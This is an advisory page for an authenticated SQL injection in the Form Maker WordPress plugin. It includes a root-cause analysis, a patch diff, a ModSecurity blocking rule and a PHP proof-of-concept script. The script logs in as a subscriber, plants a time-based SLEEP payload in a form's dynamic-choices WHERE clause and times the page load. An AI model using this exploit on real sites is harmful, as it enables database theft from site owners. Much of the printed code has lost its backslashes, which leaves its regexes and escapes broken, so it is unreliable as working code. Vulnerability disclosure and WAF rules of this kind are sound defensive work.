Opens in a new tab
Published : November 15, 2026

CVE-2026-16977: Form Maker by 10Web <= 1.15.44 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Plugin form-maker
Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 1.15.44
Patched Version 1.15.45
Disclosed August 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-16977: The Form Maker by 10Web WordPress plugin (versions <= 1.15.44) contains an authenticated SQL injection vulnerability. The flaw exists in the dynamic choices query builder used for form fields that pull options from database tables. Subscriber-level users and above can inject arbitrary SQL through the stored form configuration, enabling extraction of sensitive database contents. CVSS 6.5, CWE-89.

The root cause lies in the plugin's handling of the `w_choices_params` field, specifically the `[where_order_by]` segment. In `form-maker/frontend/views/form_maker.php` (lines 2448-2458, 2655-2665, and 2843-2853 of the vulnerable version), the code extracts the WHERE clause, performs string replacements for custom field placeholders, strips brackets, and passes the result to `WDW_FM_Library::select_data_from_db_for_labels()` and `select_data_from_db_for_values()`. Those functions call `build_safe_dynamic_select_query()` (around line 6617), which prior to the patch only performed a regex check for dangerous characters (`;`, `–`, `#`, `/*`) and a whitelist regex on the post-replacement string. The whitelist regex `^[A-Za-z0-9_`.s%=!(),-]+$` permits SQL keywords, parentheses, and operators, so attackers can craft a WHERE clause containing subqueries or boolean logic that bypasses the intended filtering. Because the `where` value is concatenated directly into the query string, arbitrary SQL survives preparation.

Exploitation: An authenticated attacker with Subscriber privileges creates or edits a form (via the plugin’s form builder, which stores parameters under `w_choices_params`), or manipulates an existing form field’s dynamic choices WHERE clause. The attacker submits a payload such as `1=1 OR (SELECT SLEEP(5))` or a UNION-based subquery inside the `[where_order_by]` segment. When a victim visits the form page, `form_maker.php` renders the choices and executes the injected SQL through `select_data_from_db_for_labels` / `select_data_from_db_for_values`. Alternatively, if the plugin exposes an AJAX action for previewing forms, the attacker can trigger execution directly. The vulnerable endpoint is the form rendering path that processes `w_choices_params`, reachable via frontend form display after a form is saved with malicious parameters.

Patch analysis: Version 1.15.45 introduces `prepare_dynamic_where_with_custom_fields()` and `bind_dynamic_where_clause()` in `WDW_FM_Library.php`. The new code parses the WHERE template with a strict grammar, replaces placeholders with `%s` binds, and rejects any quote characters or unsafe tokens. `build_safe_dynamic_select_query()` now accepts `$extra_binds`; when provided, it validates the prepared WHERE string against a strict grammar (`ident op %s` joined by AND/OR) and requires the placeholder count to match the bind count. The frontend callers (`form_maker.php` lines 2448, 2655, 2843) are updated to call the new preparer and pass binds to the select functions. This eliminates SQL injection because user-controlled data never appears as SQL syntax, only as bound parameters. Version numbers in `form-maker.php` are bumped to 1.15.45 / 2.15.45.

Impact: Successful exploitation allows an authenticated Subscriber to read arbitrary data from the WordPress database, including user credentials (hashes), session tokens, and other sensitive information. The injection can be extended to modify or delete data if the database user has sufficient privileges, potentially leading to full site compromise. The vulnerability requires an authenticated account but Subscriber-level access is trivial to obtain on many sites (open registration, commenter accounts, etc.). Atomic Edge research rates the practical impact as high for confidentiality and moderate for integrity.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/form-maker/admin/controllers/Checkpaypal.php
+++ b/form-maker/admin/controllers/Checkpaypal.php
@@ -52,6 +52,9 @@
     $post_fields .= 'cmd=_notify-validate';
     $paypal_params = array( 'checkout_mode' => $form->checkout_mode, 'post_fields' => $post_fields );
     $response = $this->model->connect_to_paypal($paypal_params);
+    if ( strcmp( trim( (string) $response ), 'VERIFIED' ) !== 0 ) {
+      return 0;
+    }
     $tax = WDW_FM_Library(self::PLUGIN)->get('tax', 0);
     $total = WDW_FM_Library(self::PLUGIN)->get('mc_gross', 0);
     $shipping = WDW_FM_Library(self::PLUGIN)->get('mc_shipping', 0);
--- a/form-maker/form-maker.php
+++ b/form-maker/form-maker.php
@@ -3,7 +3,7 @@
  * Plugin Name: Form Maker
  * Plugin URI: https://10web.io/plugins/wordpress-form-maker/?utm_source=form_maker&utm_medium=free_plugin
  * Description: This plugin is a modern and advanced tool for easy and fast creating of a WordPress Form. The backend interface is intuitive and user friendly which allows users far from scripting and programming to create WordPress Forms.
- * Version: 1.15.44
+ * Version: 1.15.45
  * Author: 10Web Form Builder Team
  * Author URI: https://10web.io/plugins/?utm_source=form_maker&utm_medium=free_plugin
  * License: GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
@@ -26,8 +26,8 @@
   public $plugin_url = '';
   public $front_urls = array();
   public $main_file = '';
-  public $plugin_version = '1.15.44';
-  public $db_version = '2.15.44';
+  public $plugin_version = '1.15.45';
+  public $db_version = '2.15.45';
   public $menu_postfix = '_fm';
   public $plugin_postfix = '';
   public $handle_prefix = 'fm';
--- a/form-maker/framework/WDW_FM_Library.php
+++ b/form-maker/framework/WDW_FM_Library.php
@@ -6158,6 +6158,131 @@
   }

   /**
+   * Prepare a Dynamic Choices WHERE template by binding custom field placeholders.
+   *
+   * @param string     $where_template Raw template (may include [ ], WHERE, {username}, %username%).
+   * @param array|null $custom_fields  Optional map; defaults to get_custom_fields().
+   * @return array{ where: string, binds: array<int, string>, valid: bool }
+   */
+  public static function prepare_dynamic_where_with_custom_fields( $where_template, $custom_fields = null ) {
+    if ( $custom_fields === null ) {
+      $custom_fields = self::get_custom_fields();
+    }
+    if ( ! is_array( $custom_fields ) ) {
+      $custom_fields = array();
+    }
+    $decoded = trim( html_entity_decode( (string) $where_template, ENT_QUOTES ) );
+    $decoded = str_replace( array( '[', ']' ), '', $decoded );
+    $decoded = trim( $decoded );
+    if ( preg_match( '/^wheres+/i', $decoded ) ) {
+      $decoded = trim( preg_replace( '/^wheres+/i', '', $decoded ) );
+    }
+    if ( $decoded === '' ) {
+      return array( 'where' => '', 'binds' => array(), 'valid' => true );
+    }
+    if ( preg_match( '/(;|--|#|/*)/', $decoded ) ) {
+      return array( 'where' => '', 'binds' => array(), 'valid' => false );
+    }
+    return self::bind_dynamic_where_clause( $decoded, $custom_fields );
+  }
+
+  /**
+   * Single left-to-right pass: placeholders + quoted literals -> %s binds, then grammar check.
+   *
+   * @param string $where
+   * @param array  $custom_fields
+   * @return array{ where: string, binds: array<int, string>, valid: bool }
+   */
+  private static function bind_dynamic_where_clause( $where, $custom_fields ) {
+    $keys = array_keys( $custom_fields );
+    usort( $keys, function ( $a, $b ) {
+      return strlen( $b ) - strlen( $a );
+    } );
+    $key_alt = array();
+    foreach ( $keys as $k ) {
+      $key_alt[] = preg_quote( $k, '/' );
+    }
+    $keys_re = $key_alt ? implode( '|', $key_alt ) : '(?!)';
+
+    $binds = array();
+    $out = '';
+    $i = 0;
+    $len = strlen( $where );
+    while ( $i < $len ) {
+      $rest = substr( $where, $i );
+
+      // Quoted wildcard placeholder: '%{key}%' or "%{key}%"
+      if ( preg_match( '/^(['"])%{(' . $keys_re . ')}%1/', $rest, $m ) ) {
+        $binds[] = '%' . (string) $custom_fields[ $m[2] ] . '%';
+        $out .= '%s';
+        $i += strlen( $m[0] );
+        continue;
+      }
+
+      // Quoted placeholder: '{key}' or "{key}" or '%key%' or "%key%"
+      if ( preg_match( '/^(['"]){(' . $keys_re . ')}1/', $rest, $m )
+        || preg_match( '/^(['"])%(' . $keys_re . ')%1/', $rest, $m ) ) {
+        $binds[] = (string) $custom_fields[ $m[2] ];
+        $out .= '%s';
+        $i += strlen( $m[0] );
+        continue;
+      }
+
+      // Bare placeholder: {key} or %key%
+      if ( preg_match( '/^{(' . $keys_re . ')}/', $rest, $m )
+        || preg_match( '/^%(' . $keys_re . ')%/', $rest, $m ) ) {
+        $binds[] = (string) $custom_fields[ $m[1] ];
+        $out .= '%s';
+        $i += strlen( $m[0] );
+        continue;
+      }
+
+      // Quoted literal '...'
+      if ( $rest[0] === "'" ) {
+        if ( ! preg_match( "/^'((?:\\'|[^'])*)'/", $rest, $m ) ) {
+          return array( 'where' => '', 'binds' => array(), 'valid' => false );
+        }
+        $literal = str_replace( "\'", "'", $m[1] );
+        if ( $literal === '' ) {
+          return array( 'where' => '', 'binds' => array(), 'valid' => false );
+        }
+        $binds[] = $literal;
+        $out .= '%s';
+        $i += strlen( $m[0] );
+        continue;
+      }
+
+      $out .= $rest[0];
+      $i++;
+    }
+
+    if ( strpos( $out, "'" ) !== false ) {
+      return array( 'where' => '', 'binds' => array(), 'valid' => false );
+    }
+
+    $out_trim = trim( $out );
+    if ( $out_trim === '' ) {
+      return array( 'where' => '', 'binds' => $binds, 'valid' => true );
+    }
+
+    // Grammar: ident op %s ( (AND|OR) ident op %s )*
+    $ident = '`?[A-Za-z_][A-Za-z0-9_]*`?';
+    $op = '(?:=|<>|!=|<=|>=|<|>|LIKE)';
+    $cond = $ident . 's*' . $op . 's*%s';
+    $grammar = '/^' . $cond . '(?:s+(?:AND|OR)s+' . $cond . ')*$/i';
+    if ( ! preg_match( $grammar, $out_trim ) ) {
+      return array( 'where' => '', 'binds' => array(), 'valid' => false );
+    }
+
+    $placeholder_count = substr_count( $out_trim, '%s' );
+    if ( $placeholder_count !== count( $binds ) ) {
+      return array( 'where' => '', 'binds' => array(), 'valid' => false );
+    }
+
+    return array( 'where' => $out_trim, 'binds' => $binds, 'valid' => true );
+  }
+
+  /**
    * Update file read option.
    * @param int $val
    */
@@ -6532,9 +6657,9 @@
    * @param string $order_by
    * @return mixed
    */
-  public static function select_data_from_db_for_labels( $db_info = '', $label_column = '', $table = '', $where = '', $order_by = '' ) {
+  public static function select_data_from_db_for_labels( $db_info = '', $label_column = '', $table = '', $where = '', $order_by = '', $extra_binds = array() ) {
     global $wpdb;
-    $query_data = self::build_safe_dynamic_select_query( $label_column, $table, $where, $order_by );
+    $query_data = self::build_safe_dynamic_select_query( $label_column, $table, $where, $order_by, $extra_binds );
     if ( empty( $query_data['query'] ) ) {
       return array();
     }
@@ -6575,9 +6700,9 @@
    *
    * @return array|null|object
    */
-  public static function select_data_from_db_for_values( $db_info = '', $value_column = '', $table = '', $where = '', $order_by = '' ) {
+  public static function select_data_from_db_for_values( $db_info = '', $value_column = '', $table = '', $where = '', $order_by = '', $extra_binds = array() ) {
     global $wpdb;
-    $query_data = self::build_safe_dynamic_select_query( $value_column, $table, $where, $order_by );
+    $query_data = self::build_safe_dynamic_select_query( $value_column, $table, $where, $order_by, $extra_binds );
     if ( empty( $query_data['query'] ) ) {
       return array();
     }
@@ -6617,24 +6742,25 @@
    *
    * @return array
    */
-  private static function build_safe_dynamic_select_query( $column = '', $table = '', $where = '', $order_by = '' ) {
+  private static function build_safe_dynamic_select_query( $column = '', $table = '', $where = '', $order_by = '', $extra_binds = array() ) {
     $column = trim( (string) $column );
     $table = trim( (string) $table );
     $order_by = trim( html_entity_decode( (string) $order_by, ENT_QUOTES ) );
+    $extra_binds = is_array( $extra_binds ) ? array_values( $extra_binds ) : array();

-    if ( !preg_match( '/^[A-Za-z0-9_]+$/', $column ) ) {
+    if ( ! preg_match( '/^[A-Za-z0-9_]+$/', $column ) ) {
       return array( 'query' => '', 'binds' => array() );
     }
-    if ( !preg_match( '/^[A-Za-z0-9_]+(.[A-Za-z0-9_]+)?$/', $table ) ) {
+    if ( ! preg_match( '/^[A-Za-z0-9_]+(.[A-Za-z0-9_]+)?$/', $table ) ) {
       return array( 'query' => '', 'binds' => array() );
     }

     $order_parts = array_filter( array_map( 'trim', explode( ',', $order_by ) ) );
     $safe_order_clause = '';
-    if ( !empty( $order_parts ) ) {
+    if ( ! empty( $order_parts ) ) {
       $safe_order_parts = array();
       foreach ( $order_parts as $part ) {
-        if ( !preg_match( '/^([A-Za-z0-9_]+)(?:s+(ASC|DESC))?$/i', $part, $matches ) ) {
+        if ( ! preg_match( '/^([A-Za-z0-9_]+)(?:s+(ASC|DESC))?$/i', $part, $matches ) ) {
           return array( 'query' => '', 'binds' => array() );
         }
         $safe_order_parts[] = '`' . $matches[1] . '` ' . ( isset( $matches[2] ) ? strtoupper( $matches[2] ) : 'ASC' );
@@ -6643,29 +6769,38 @@
     }

     $safe_table = ( strpos( $table, '.' ) === false ) ? '`' . $table . '`' : '`' . str_replace( '.', '`.`', $table ) . '`';
+
     $decoded_where = trim( html_entity_decode( (string) $where, ENT_QUOTES ) );
     if ( preg_match( '/^wheres+/i', $decoded_where ) ) {
       $decoded_where = trim( preg_replace( '/^wheres+/i', '', $decoded_where ) );
     }
-    if ( preg_match( '/(;|--|#|/*)/', $decoded_where ) ) {
-      return array( 'query' => '', 'binds' => array() );
-    }

     $binds = array();
     $where_prepared = '';
     if ( $decoded_where !== '' ) {
-      $where_prepared = preg_replace_callback(
-        "/'((?:\\'|[^'])*)'/",
-        function ( $matches ) use ( &$binds ) {
-          $binds[] = str_replace( "\'", "'", $matches[1] );
-          return '%s';
-        },
-        $decoded_where
-      );
-      if ( $where_prepared === null || !preg_match( '/^[A-Za-z0-9_`.s%<>=!(),-]+$/', $where_prepared ) ) {
-        return array( 'query' => '', 'binds' => array() );
+      if ( ! empty( $extra_binds ) ) {
+        // Caller already bound placeholders; re-validate grammar only (no quote re-extraction).
+        $ident = '`?[A-Za-z_][A-Za-z0-9_]*`?';
+        $op = '(?:=|<>|!=|<=|>=|<|>|LIKE)';
+        $cond = $ident . 's*' . $op . 's*%s';
+        $grammar = '/^' . $cond . '(?:s+(?:AND|OR)s+' . $cond . ')*$/i';
+        if ( preg_match( '/(;|--|#|/*|')/', $decoded_where )
+          || ! preg_match( $grammar, $decoded_where )
+          || substr_count( $decoded_where, '%s' ) !== count( $extra_binds ) ) {
+          return array( 'query' => '', 'binds' => array() );
+        }
+        $binds = $extra_binds;
+        $where_prepared = ' WHERE ' . $decoded_where;
+      } else {
+        $bound = self::bind_dynamic_where_clause( $decoded_where, array() );
+        if ( empty( $bound['valid'] ) ) {
+          return array( 'query' => '', 'binds' => array() );
+        }
+        if ( $bound['where'] !== '' ) {
+          $binds = $bound['binds'];
+          $where_prepared = ' WHERE ' . $bound['where'];
+        }
       }
-      $where_prepared = ' WHERE ' . $where_prepared;
     }

     return array(
--- a/form-maker/frontend/views/form_maker.php
+++ b/form-maker/frontend/views/form_maker.php
@@ -2448,15 +2448,11 @@
       $key1 = $key + $total_queries;
       if ( isset($param['w_choices_params']) && $param['w_choices_params'][$key] ) {
         $w_choices_params = explode('[where_order_by]', $param['w_choices_params'][$key]);
-        $where_str = $w_choices_params[0];
-        foreach ( $custom_fields as $custom_key => $custom_val ) {
-          $key_replace = array( '%' . $custom_key . '%', '{' . $custom_key . '}' );
-          $where_str = str_replace($key_replace, $custom_val, $where_str);
-        }
-        $where = (str_replace(array( '[', ']' ), '', $w_choices_params[0]) ? ' WHERE ' . str_replace(array(
-                                                                                                       '[',
-                                                                                                       ']',
-                                                                                                     ), '', $where_str) : '');
+        $where_prepared = WDW_FM_Library::prepare_dynamic_where_with_custom_fields( $w_choices_params[0], $custom_fields );
+        $where_binds = ! empty( $where_prepared['valid'] ) ? $where_prepared['binds'] : array();
+        $where = ( ! empty( $where_prepared['valid'] ) && $where_prepared['where'] !== '' )
+          ? ' WHERE ' . $where_prepared['where']
+          : '';
         $w_choices_params = explode('[db_info]', $w_choices_params[1]);
         $order_by = str_replace(array( '[', ']' ), '', $w_choices_params[0]);
         $db_info = $w_choices_params[1];
@@ -2464,12 +2460,20 @@
         $table = $label_table_and_column[0];
         $label_column = $label_table_and_column[1];
         if ( $select_data_from_db && $label_column ) {
-          $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_labels = array();
+          }
         }
         $value_table_and_column = explode(':', str_replace(array( '[', ']' ), '', $param['w_choices_value'][$key]));
         $value_column = $value_table_and_column[1];
         if ( $select_data_from_db && $value_column ) {
-          $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_values = array();
+          }
         }
         $columns_count_checkbox = count($choices_labels) > 0 ? count($choices_labels) : count($choices_values);
         if ( array_filter($choices_labels) || array_filter($choices_values) ) {
@@ -2655,15 +2659,11 @@
       $key1 = $key + $total_queries;
       if ( isset($param['w_choices_params']) && $param['w_choices_params'][$key] ) {
         $w_choices_params = explode('[where_order_by]', $param['w_choices_params'][$key]);
-        $where_str = $w_choices_params[0];
-        foreach ( $custom_fields as $custom_key => $custom_val ) {
-          $key_replace = array( '%' . $custom_key . '%', '{' . $custom_key . '}' );
-          $where_str = str_replace($key_replace, $custom_val, $where_str);
-        }
-        $where = (str_replace(array( '[', ']' ), '', $w_choices_params[0]) ? ' WHERE ' . str_replace(array(
-                                                                                                       '[',
-                                                                                                       ']',
-                                                                                                     ), '', $where_str) : '');
+        $where_prepared = WDW_FM_Library::prepare_dynamic_where_with_custom_fields( $w_choices_params[0], $custom_fields );
+        $where_binds = ! empty( $where_prepared['valid'] ) ? $where_prepared['binds'] : array();
+        $where = ( ! empty( $where_prepared['valid'] ) && $where_prepared['where'] !== '' )
+          ? ' WHERE ' . $where_prepared['where']
+          : '';
         $w_choices_params = explode('[db_info]', $w_choices_params[1]);
         $order_by = str_replace(array( '[', ']' ), '', $w_choices_params[0]);
         $db_info = $w_choices_params[1];
@@ -2671,12 +2671,20 @@
         $table = $label_table_and_column[0];
         $label_column = $label_table_and_column[1];
         if ( $select_data_from_db && $label_column ) {
-          $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_labels = array();
+          }
         }
         $value_table_and_column = explode(':', str_replace(array( '[', ']' ), '', $param['w_choices_value'][$key]));
         $value_column = $value_table_and_column[1];
         if ( $select_data_from_db && $value_column ) {
-          $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_values = array();
+          }
         }
         $columns_count_radio = count($choices_labels) > 0 ? count($choices_labels) : count($choices_values);
         if ( array_filter($choices_labels) || array_filter($choices_values) ) {
@@ -2843,12 +2851,11 @@
     foreach ( $param['w_choices'] as $key => $choice ) {
       if ( isset($param['w_choices_params']) && $param['w_choices_params'][$key] ) {
         $w_choices_params = explode('[where_order_by]', $param['w_choices_params'][$key]);
-        $where_str = $w_choices_params[0];
-        foreach ( $custom_fields as $custom_key => $custom_val ) {
-          $key_replace = array( '%' . $custom_key . '%', '{' . $custom_key . '}' );
-          $where_str = str_replace( $key_replace, $custom_val, $where_str );
-        }
-        $where = (str_replace(array( '[', ']' ), '', $w_choices_params[0]) ? ' WHERE ' . str_replace(array('[', ']'), '', $where_str) : '');
+        $where_prepared = WDW_FM_Library::prepare_dynamic_where_with_custom_fields( $w_choices_params[0], $custom_fields );
+        $where_binds = ! empty( $where_prepared['valid'] ) ? $where_prepared['binds'] : array();
+        $where = ( ! empty( $where_prepared['valid'] ) && $where_prepared['where'] !== '' )
+          ? ' WHERE ' . $where_prepared['where']
+          : '';
         $w_choices_params = explode('[db_info]', $w_choices_params[1]);
         $order_by = str_replace(array( '[', ']' ), '', $w_choices_params[0]);
         $db_info = $w_choices_params[1];
@@ -2856,12 +2863,20 @@
         $table = $label_table_and_column[0];
         $label_column = $label_table_and_column[1];
         if ( $select_data_from_db && $label_column ) {
-          $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_labels = WDW_FM_Library::select_data_from_db_for_labels($db_info, $label_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_labels = array();
+          }
         }
         $value_table_and_column = explode(':', str_replace(array('[', ']'), '', $param['w_choices_value'][$key]));
         $value_column = $param['w_choices_disabled'][$key] == "true" ? '' : $value_table_and_column[1];
         if ( $select_data_from_db && $value_column ) {
-          $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by);
+          if ( ! empty( $where_prepared['valid'] ) ) {
+            $choices_values = WDW_FM_Library::select_data_from_db_for_values($db_info, $value_column, $table, $where, $order_by, $where_binds);
+          } else {
+            $choices_values = array();
+          }
         }
         $columns_count = count($choices_labels) > 0 ? count($choices_labels) : count($choices_values);
         if ( array_filter($choices_labels) || array_filter($choices_values) ) {

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-16977
# Blocks SQL injection via Form Maker dynamic choices WHERE parameter.
# Targets the w_choices_params POST parameter when it contains SQL meta-characters
# commonly used in injection payloads (quotes, comments, stacked queries).
SecRule REQUEST_URI "@rx ^/wp-admin/admin.php$" 
  "id:202616977,phase:2,deny,status:403,chain,msg:'CVE-2026-16977 Form Maker SQLi via w_choices_params',severity:'CRITICAL',tag:'CVE-2026-16977'"
  SecRule ARGS_POST:action "@streq manage_fm" "chain"
    SecRule ARGS_POST:fm_form_nonce "@rx ^.*$" "chain"
      SecRule ARGS_POST:w_choices_params "@rx (?:--|#|/*|;|bUNIONb|bSELECTb|bSLEEPs*(|bBENCHMARKs*()" "t:urlDecodeUni,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-16977 - Form Maker by 10Web <= 1.15.44 Authenticated (Subscriber+) SQL Injection

$target_url = 'http://localhost/wordpress';
$username   = 'subscriber';
$password   = 'password';
$form_id    = 1;
$field_key  = 0;

// Step 1: Log in as a Subscriber to obtain cookies.
$cookie_jar = tempnam(sys_get_temp_dir(), 'cve16977');
$login_url  = $target_url . '/wp-login.php';

$ch = curl_init($login_url);
curl_setopt_array($ch, [
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query([
        'log'         => $username,
        'pwd'         => $password,
        'wp-submit'   => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie'  => '1',
    ]),
    CURLOPT_COOKIEJAR      => $cookie_jar,
    CURLOPT_COOKIEFILE     => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
]);
$login_response = curl_exec($ch);
curl_close($ch);

if (strpos($login_response, 'wp-admin') === false && strpos($login_response, 'Dashboard') === false) {
    fwrite(STDERR, "Login may have failed. Check credentials.n");
}

// Step 2: Retrieve the form nonce from the admin form editor page.
$admin_form_url = $target_url . '/wp-admin/admin.php?page=manage_fm&task=edit&id=' . $form_id;
$ch = curl_init($admin_form_url);
curl_setopt_array($ch, [
    CURLOPT_COOKIEFILE     => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
]);
$form_page = curl_exec($ch);
curl_close($ch);

$nonce = '';
if (preg_match('/name="_wpnonce"s+value="([^"]+)"/', $form_page, $m)) {
    $nonce = $m[1];
}

// Step 3: Update the form field with a malicious WHERE clause.
// Payload uses a time-based blind injection to prove execution.
// The [where_order_by] segment is injected with a subquery that delays response.
$malicious_where = "1=1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)";

$post_fields = [
    'action'      => 'manage_fm',
    'task'        => 'edit',
    'id'          => $form_id,
    'fm_form_nonce' => $nonce,
    'w_choices_params[' . $field_key . ']' => '[' . $malicious_where . '][where_order_by][]',
    'w_choices[' . $field_key . ']'       => 'Option1',
    'submit'      => 'Save',
];

$ch = curl_init($target_url . '/wp-admin/admin.php');
curl_setopt_array($ch, [
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query($post_fields),
    CURLOPT_COOKIEFILE     => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
]);
$save_response = curl_exec($ch);
curl_close($ch);

// Step 4: Trigger the vulnerable query by visiting the form page.
$form_page_url = $target_url . '/?fm_form=' . $form_id;
$start = microtime(true);
$ch = curl_init($form_page_url);
curl_setopt_array($ch, [
    CURLOPT_COOKIEFILE     => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
]);
$form_render = curl_exec($ch);
curl_close($ch);
$elapsed = microtime(true) - $start;

echo "Form page request time: " . round($elapsed, 2) . " secondsn";
if ($elapsed > 4.5) {
    echo "[+] Time-based SQL injection confirmed. The database executed the SLEEP(5) subquery.n";
} else {
    echo "[-] Injection may have failed or the form parameters were sanitized.n";
}

// Cleanup: restore benign WHERE clause.
$post_fields['w_choices_params[' . $field_key . ']'] = '[1][where_order_by][]';
$ch = curl_init($target_url . '/wp-admin/admin.php');
curl_setopt_array($ch, [
    CURLOPT_POST           => true,
    CURLOPT_POSTFIELDS     => http_build_query($post_fields),
    CURLOPT_COOKIEFILE     => $cookie_jar,
    CURLOPT_RETURNTRANSFER => true,
]);
curl_exec($ch);
curl_close($ch);

@unlink($cookie_jar);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.